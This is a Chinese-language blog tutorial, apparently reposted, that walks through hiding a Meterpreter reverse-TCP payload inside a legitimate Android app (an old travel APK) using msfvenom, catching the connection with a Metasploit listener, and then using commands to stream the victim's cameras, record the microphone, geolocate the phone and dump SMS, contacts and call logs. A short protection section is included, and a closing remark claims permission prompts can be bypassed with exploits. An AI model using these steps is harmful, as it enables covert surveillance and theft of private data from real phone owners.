目录导航
准备材料
①安装了最新Metasploit框架的Kali
②备用的Android设备
③[可选]合法的Android应用程序(.apk)
使用说明
①找出你的IP地址
为了生成有效负载,我们将需要找到有关我们自己系统的更多信息。我们将获得的第一条信息是系统的IP地址。就此博客文章而言,我们将使用我们的本地IP地址,但在现实世界中,您可能会使用外部IP地址,以便允许受感染的设备重新连接到您。
我们的IP地址可以通过打开终端窗口并键入以下命令来简单地找到:
ip a

我将使用的地址是eth0网络适配器中的地址,更具体地说是屏幕截图中圈出的本地IPv4地址。
②制作有效负载[payload]

我们将使用msfvenom生成我们的有效负载,这是Metasploit框架中包含的有效负载生成器。
在开始之前,请确保已准备好以下内容:
- 您在上一步中找到的IP地址
- 任何未使用的端口,可在其上运行漏洞利用程序处理程序
- (可选)隐藏后门的合法应用
我们有两种选择:要么独立生成有效负载,要么将其隐藏为现有合法应用程序的一部分。尽管前者更容易,但我们将更进一步,并使用知名旅行应用程序的旧版本来伪装我们的恶意软件。
为此,请打开一个新的终端窗口并导航到包含您要后门的应用程序合法副本的文件夹,然后运行以下命令:
msfvenom -p android/meterpreter/reverse_tcp LHOST=<你的IP地址> LPORT=<随便一个未使用的端口> -x <合法的app> -k -o <输出名称>
例如:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.6 LPORT=4444 -x tripadvisor.apk -k -o ta-rat.apk
对于此博客文章,我使用了以下值:
- <您的IP地址> = 192.168.43.6
- <您未使用的端口> = 4444
- <合法应用程序> = tripadvisor.apk
- <输出名称> = ta-rat.apk

③测试生成的恶意软件
我们需要在我们用于创建恶意软件的端口上的kali上启动侦听器。为此,请运行以下命令:
msfconsole
use multi/handler
set payload android/meterpreter/reverse_tcp
set lhost <您的IP地址>
set lport <您未使用的端口>
run

现在我们已经建立了侦听器并准备接受连接,剩下要做的就是在备用Android手机上运行恶意软件。
出于本博文的目的,我只是将.apk文件传输到设备的内部存储中并运行它。正如您在屏幕截图中看到的那样,后门应用程序比原始应用程序需要更多的权限。

现在剩下的就是运行恶意应用程序,然后可以得到一个会话.

④在meterpreter会话中控制被控手机
激活相机
通过激活设备的前置或后置摄像头,我们可以了解受害者是谁。
为此,请在meterpreter shell中键入以下命令:
webcam_stream -i <index>
//其中,<index>是要使用的摄像机的索引。根据我的经验,后置摄像头位于索引1,而自拍摄像头位于索引2。
麦克风录音
对受害者附近的谈话感到好奇吗?尝试通过键入以下内容来记录麦克风:
record_mic -d <duration>
//其中<duration>是要记录的持续时间(以秒为单位)。
例如,要使用设备的内置麦克风录制15秒的音频,请运行:
record_mic -d 15
获取地理位置[GPS定位]
我们还可以通过键入以下内容来找到受害者的确切位置:
geolocate
此命令将为我们提供设备的GPS坐标,我们只需在Google Maps中查找即可。
播放音频文件
最后,我们可以通过键入以下内容来播放系统上的任何.wav音频文件:
play <文件名>.wav
例如:
play 钞票.wav
其他功能
以上只是一小部分命令。有关功能的完整列表,只需输入:
help
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
ifconfig Display interfaces
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
execute Execute a command
getuid Get the user that the server is running as
localtime Displays the target system's local date and time
pgrep Filter processes by name
ps List running processes
shell Drop into a system command shell
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
screenshare Watch the remote user's desktop in real time
screenshot Grab a screenshot of the interactive desktop
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Stdapi: Audio Output Commands
=============================
Command Description
------- -----------
play play a waveform audio file (.wav) on the target system
Android Commands
================
Command Description
------- -----------
activity_start Start an Android activity from a Uri string
check_root Check if device is rooted
dump_calllog Get call log
dump_contacts Get contacts list
dump_sms Get sms messages
geolocate Get current lat-long using geolocation
hide_app_icon Hide the app icon from the launcher
interval_collect Manage interval collection capabilities
send_sms Sends SMS from target session
set_audio_mode Set Ringer Mode
sqlite_query Query a SQLite database from storage
wakelock Enable/Disable Wakelock
wlan_geolocate Get current lat-long using WLAN information
Application Controller Commands
===============================
Command Description
------- -----------
app_install Request to install apk file
app_list List installed apps in the device
app_run Start Main Activty for package name
app_uninstall Request to uninstall application
或有关特定命令的更多信息,请输入:
<command> -h
常用命令
cd –>目录切换,命令:cd / 切换到根目录
search –>搜索文件,命令:search test.jpg
download –>下载文件,命令:download test.jpg
webcam_list –>查看摄像头列表,因为手机都是前置和后置摄像头了
webcam_snap –>拍照一张,需要选用前置或者后置摄像头,命令:webcam_snap -i 1
webcam_stream –>开启摄像头视频监控,同上,命令:webcam_stream -i 1
安卓系统相关命令:
check_root –>查看当前安卓是否已经root
dump_calllog –>下载通话记录
dump_contacts –>下载短信记录
dump_sms –>下载通讯录
geolocate –>利用谷歌地图定位(需要安装谷歌地图)
注意事项
在我最初尝试使它起作用的过程中,您可能还会遇到一些困难。这个过程中最困难的部分是找到要添加后门程序的应用程序。最新的android应用通过使用各种混淆技术来阻止您轻松地对它们进行反编译和重新打包,这使得插入恶意代码更加困难。在本练习中,我使用了一个(尚未)实现这些技术的著名旅行应用程序的旧版本,因为尝试将任何较新版本的后门都失败了。
Android的权限API不断发展以防止恶意应用滥用这种类型的事实进一步加强了这一点。因此,无法利用此漏洞在需要运行时先授予应用程序任何危险权限的,需要显式用户批准的最新Android版本上运行。这虽然说,如果你使用的是Android手机用户阅读这篇文章,要知道,道高一尺,魔高一丈,你应该总是授予任何应用程序在手机上允许它并不严格要求之前三思而后行。是的,即使您的设备上有最新的安全更新。即使此博客文章中描述的方法仅适用于较新的Android版本,但考虑到这些版本代表了大部分Android市场份额,直到今天,仍有大量设备仍然容易受到这种攻击。
互联网上存在一些第三方工具和脚本,它们有望在后门甚至更多最新的Android应用程序中获得更可靠的结果。但是,以我个人的经验,这些工具并不总是符合他们的期望。在尝试这些方法时,您的工作量可能会有所不同,但是无论如何,请不要盲目地信任在Internet上找到的代码的自述文件:请自己检查并确保在运行之前了解它的作用。
如何保护自己
简而言之,保护自己免受这些类型的攻击始于认识到这些威胁如何进入系统。您的手机已经针对恶意应用程序采取了大量安全预防措施,因此始终确保您的手机正在运行最新更新是一个好的开始。另外,您将需要三思:选择安装应用程序前三思一次,选择授予应用程序某些权限前三思一次。
首先,仅安装官方应用商店中的应用。说真的 Android和iOS的应用商店均经过严格管理,并进行了病毒扫描。恶意应用程序是否有可能被其控制权偷偷溜走?并非完全如此,但是在被发现并移除之前,它很可能不会在商店中呆很长时间。在iOS上,您别无选择:如果您没有越狱设备,那么您已经被限制在App Store中。对于Android,有一个设置还允许您从不受信任的来源安装应用程序。如果您只是想享受智能手机为您提供的经典体验,则完全不需要触摸该设置:Google Play商店可能拥有您想做的所有事情。如果您是一位更高级的用户,希望能够完全自定义他们的电话,甚至将其root或添加自定义ROM:请成为我的客人,但是在手机上安装任何东西时,请格外小心,因为您失去了Google Play商店为您提供的大量保护。试用手机是可以的,但您需要非常了解自己承担的其他风险。如果您要从第三方来源下载非官方应用程序,那风险将会翻倍。
其次,并非所有的应用程序都需要它们要求的所有权限。手电筒应用程序不需要访问麦克风即可正常运行,那么为什么要授予该权限?如果您正在安装应用程序,并且权限列表似乎很长,或者肯定不需要某些项才能使该应用程序正常运行,则可能首先要重新考虑安装它,并且绝对不要授予这些权限。最好的情况是,他们通过跟踪您的广告来侵犯您的隐私。在最坏的情况下,犯罪分子可能试图利用权限来监视您。
我要提供的最后一个技巧是使设备上的安全性设置保持启用状态。不管您拥有iPhone还是Android手机都没有关系:iOS和Android都内置了一些出色的安全性选项。这也意味着您不需要手机上的第三方防病毒应用程序。通常,这些应用程序几乎不提供额外的功能,因为与您的手机操作系统的本机安全功能相比,它们在功能上的限制更大。
结论
如果您希望通过阅读此博客文章来记住任何事情,请注意以下两点:
1.创建移动恶意软件很容易。几乎太容易了。
这篇博客文章详细介绍了制作基本的Android恶意软件所采取的步骤,展示了破坏智能手机的难易程度。使用一组有限的工具,我们可以将Meterpreter反向shell有效负载生成并隐藏到现有应用中,重新打包并将其安装在Android设备上。任何有足够动力去做的人都可以在有限的时间内学习掌握。无需大量的技术知识即可完全掌握。
2.智能手机也是计算机,需要加以保护。
它可能看起来不像一台计算机,但智能手机就像是坐在桌上的那台一样,是一台计算机。这些设备同样容易受到恶意软件的攻击,即使这些设备的创建者已经采取了很多预防措施,但最终用户还是有责任确保其设备的安全。智能手机用户应意识到其设备所面临的风险,并远离应用程序商店外的非官方应用程序,在其设备上启用安全设置,并应谨慎授予应用程序过多的权限,尤其是来自不受信任来源的应用程序。
可能存在的问题
①apktool未安装

执行如下命令安装:
apt install apktool
②无法连接kali.org[更新源问题]
编辑 /etc/apt/sources.list 文件 ,改为如下所示即可,然后执行该命令
apt-get update && apt-get upgrade && apt-get dist-upgrade
#华为源
deb https://mirrors.huaweicloud.com/kali kali-rolling main non-free contrib
deb-src https://mirrors.huaweicloud.com/kali kali-rolling main non-free contrib
#kali官方源
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib
#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#清华大学
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#浙江大学源
deb http://mirrors.zju.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main non-free contrib
③jarsigner未安装
apt-get install openjdk-11-jdk
④zipalign未安装
apt install zipalign
⑤虚拟机网络桥接问题

下面是自己的一些测试截图
①成功获取会话[控制权限]

②成功录音并保存文件

③获取后置摄像头实时拍照

④获取前置摄像头实时拍照

存在的问题
如果手机有设置权限的,需要互动,那就GG.只能针对老旧设备进行攻击.
[雨苁:配合一些漏洞绕过授权也是不难的.]
